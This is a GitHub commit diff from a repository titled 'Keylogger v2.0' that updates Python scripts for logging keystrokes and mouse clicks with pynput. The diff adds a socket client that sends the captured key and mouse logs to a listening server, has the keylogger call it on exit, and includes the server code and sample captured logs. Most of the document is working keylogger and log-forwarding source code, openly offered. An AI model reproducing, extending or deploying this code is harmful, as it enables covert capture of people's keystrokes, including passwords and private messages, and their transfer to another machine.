-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #2 from adisakshya/keylogger_v2.0_patch_1
Keylogger v2.0 patch 1
- Loading branch information
Showing
12 changed files
with
134 additions
and
174 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,12 +1,15 @@ | ||
import socket | ||
import sys | ||
|
||
def send(filename): | ||
s = socket.socket() | ||
s.connect(("localhost",9999)) | ||
f = open (filename, "rb") | ||
l = f.read(1024) | ||
while (l): | ||
s.send(l) | ||
l = f.read(1024) | ||
s.close() | ||
files = ['key_log.txt', 'mouse_log.txt'] | ||
|
||
def send_logs(): | ||
s = socket.socket() | ||
s.connect(("localhost",9999)) | ||
|
||
for filename in files: | ||
f = open (filename, "rb") | ||
l = f.read(1024) | ||
s.send(l) | ||
|
||
s.close() |
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
56 changes: 29 additions & 27 deletions
56
...ython-logger-scripts/keylogger-windows.py → bin/key_logger.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,27 +1,29 @@ | ||
from pynput import keyboard | ||
import logging | ||
|
||
log_dir = "" | ||
|
||
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]') | ||
|
||
def on_press(key): | ||
try: | ||
logging.info('{0} pressed'.format( | ||
key.char)) | ||
except AttributeError: | ||
logging.info('{0} pressed'.format( | ||
key)) | ||
|
||
def on_release(key): | ||
logging.info('{0} released'.format( | ||
key)) | ||
if key == keyboard.Key.esc: | ||
# Stop listener | ||
return False | ||
|
||
# Collect events until released | ||
with keyboard.Listener( | ||
on_press=on_press, | ||
on_release=on_release) as listener: | ||
listener.join() | ||
from pynput import keyboard | ||
import logging | ||
from client import send_logs | ||
|
||
log_dir = "" | ||
|
||
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]') | ||
|
||
def on_press(key): | ||
try: | ||
logging.info('{0} pressed'.format( | ||
key.char)) | ||
except AttributeError: | ||
logging.info('{0} pressed'.format( | ||
key)) | ||
|
||
def on_release(key): | ||
logging.info('{0} released'.format( | ||
key)) | ||
if key == keyboard.Key.esc: | ||
# Stop listener | ||
send_logs() | ||
return False | ||
|
||
# Collect events until released | ||
with keyboard.Listener( | ||
on_press=on_press, | ||
on_release=on_release) as listener: | ||
listener.join() |
This file was deleted.
Oops, something went wrong.
32 changes: 16 additions & 16 deletions
32
...hon-logger-scripts/mouselogger-windows.py → bin/mouse_logger.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,16 +1,16 @@ | ||
from pynput.mouse import Listener | ||
import logging | ||
|
||
log_dir = "" | ||
|
||
logging.basicConfig(filename=(log_dir + "mouse_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]') | ||
|
||
def on_click(x, y, button, pressed): | ||
if pressed: | ||
logging.info('"{0}", {1}'.format(button, (x, y))) | ||
|
||
def on_scroll(x, y, dx, dy): | ||
logging.info('"{0}", {1}'.format('Button.scroll', (x, y))) | ||
|
||
with Listener(on_click=on_click, on_scroll=on_scroll) as listener: | ||
listener.join() | ||
from pynput.mouse import Listener | ||
import logging | ||
|
||
log_dir = "" | ||
|
||
logging.basicConfig(filename=(log_dir + "mouse_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]') | ||
|
||
def on_click(x, y, button, pressed): | ||
if pressed: | ||
logging.info('"{0}", {1}'.format(button, (x, y))) | ||
|
||
def on_scroll(x, y, dx, dy): | ||
logging.info('"{0}", {1}'.format('Button.scroll', (x, y))) | ||
|
||
with Listener(on_click=on_click, on_scroll=on_scroll) as listener: | ||
listener.join() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,27 +1,23 @@ | ||
import socket | ||
import sys | ||
|
||
files = ['key-logs.txt', 'mouse-logs.txt'] | ||
|
||
s = socket.socket() | ||
s.bind(("localhost",9999)) | ||
s.listen(10) | ||
i = 0 | ||
|
||
print('listening on port: 9999') | ||
while True: | ||
sc, address = s.accept() | ||
|
||
print('Got connection from: ',address) | ||
f = open('new_'+ str(i)+".txt",'wb') #open in binary | ||
i=i+1 | ||
while (True): | ||
|
||
f = open('server-copy.txt','wb') # open in binary | ||
for i in range(len(files)): | ||
l = sc.recv(1024) | ||
f.write(l) | ||
""" | ||
while (l): | ||
f.write(l) | ||
l = sc.recv(1024) | ||
""" | ||
f.write(l) | ||
f.close() | ||
|
||
|
||
sc.close() | ||
|
||
s.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
["2019-03-09 13:15:35,762", a pressed] | ||
["2019-03-09 13:15:35,918", 'a' released] | ||
["2019-03-09 13:15:36,028", d pressed] | ||
["2019-03-09 13:15:36,137", 'd' released] | ||
["2019-03-09 13:15:36,262", i pressed] | ||
["2019-03-09 13:15:36,372", 'i' released] | ||
["2019-03-09 13:15:36,481", s pressed] | ||
["2019-03-09 13:15:36,606", 's' released] | ||
["2019-03-09 13:15:36,731", a pressed] | ||
["2019-03-09 13:15:36,825", 'a' released] | ||
["2019-03-09 13:15:36,950", k pressed] | ||
["2019-03-09 13:15:37,012", 'k' released] | ||
["2019-03-09 13:15:37,153", s pressed] | ||
["2019-03-09 13:15:37,278", 's' released] | ||
["2019-03-09 13:15:37,340", h pressed] | ||
["2019-03-09 13:15:37,418", 'h' released] | ||
["2019-03-09 13:15:37,543", y pressed] | ||
["2019-03-09 13:15:37,622", 'y' released] | ||
["2019-03-09 13:15:37,715", a pressed] | ||
["2019-03-09 13:15:37,856", 'a' released] | ||
["2019-03-09 13:15:40,153", Key.esc pressed] | ||
["2019-03-09 13:15:40,294", Key.esc released] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,14 +1,4 @@ | ||
["2019-03-02 22:00:54,480", "Button.left", (822, 157)] | ||
["2019-03-02 22:00:57,526", "Button.right", (507, 335)] | ||
["2019-03-02 22:00:59,949", "Button.right", (954, 544)] | ||
["2019-03-02 22:01:01,859", "Button.left", (1009, 258)] | ||
["2019-03-02 22:01:03,965", "Button.left", (996, 515)] | ||
["2019-03-02 22:01:04,481", "Button.right", (996, 515)] | ||
["2019-03-02 22:01:05,512", "Button.left", (1123, 229)] | ||
["2019-03-02 22:01:06,761", "Button.left", (952, 551)] | ||
["2019-03-02 22:01:08,340", "Button.left", (952, 551)] | ||
["2019-03-02 22:01:09,027", "Button.right", (952, 551)] | ||
["2019-03-02 22:01:09,621", "Button.right", (952, 551)] | ||
["2019-03-02 22:01:10,948", "Button.left", (1077, 269)] | ||
["2019-03-02 22:01:12,231", "Button.left", (634, 319)] | ||
["2019-03-02 22:01:21,100", "Button.left", (803, 202)] | ||
["2019-03-09 13:15:27,621", "Button.left", (386, 154)] | ||
["2019-03-09 13:15:39,793", "Button.left", (386, 154)] | ||
["2019-03-09 13:15:42,215", "Button.left", (654, 41)] | ||
["2019-03-09 13:15:43,723", "Button.left", (990, 324)] |
24 changes: 24 additions & 0 deletions
24
examples/server_copy_of_logs_example/server_copy_of_logs.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
["2019-03-09 13:15:35,762", a pressed] | ||
["2019-03-09 13:15:35,918", 'a' released] | ||
["2019-03-09 13:15:36,028", d pressed] | ||
["2019-03-09 13:15:36,137", 'd' released] | ||
["2019-03-09 13:15:36,262", i pressed] | ||
["2019-03-09 13:15:36,372", 'i' released] | ||
["2019-03-09 13:15:36,481", s pressed] | ||
["2019-03-09 13:15:36,606", 's' released] | ||
["2019-03-09 13:15:36,731", a pressed] | ||
["2019-03-09 13:15:36,825", 'a' released] | ||
["2019-03-09 13:15:36,950", k pressed] | ||
["2019-03-09 13:15:37,012", 'k' released] | ||
["2019-03-09 13:15:37,153", s pressed] | ||
["2019-03-09 13:15:37,278", 's' released] | ||
["2019-03-09 13:15:37,340", h pressed] | ||
["2019-03-09 13:15:37,418", 'h' released] | ||
["2019-03-09 13:15:37,543", y pressed] | ||
["2019-03-09 13:15:37,622", 'y' released] | ||
["2019-03-09 13:15:37,715", a pressed] | ||
["2019-03-09 13:15:37,856", 'a' released] | ||
["2019-03-09 13:15:40,153", Key.esc pressed] | ||
["2019-03-09 13:15:40,294", Key.esc released] | ||
["2019-03-09 13:15:27,621", "Button.left", (386, 154)] | ||
["2019-03-09 13:15:39,793", "Button.left", (386, 154)] |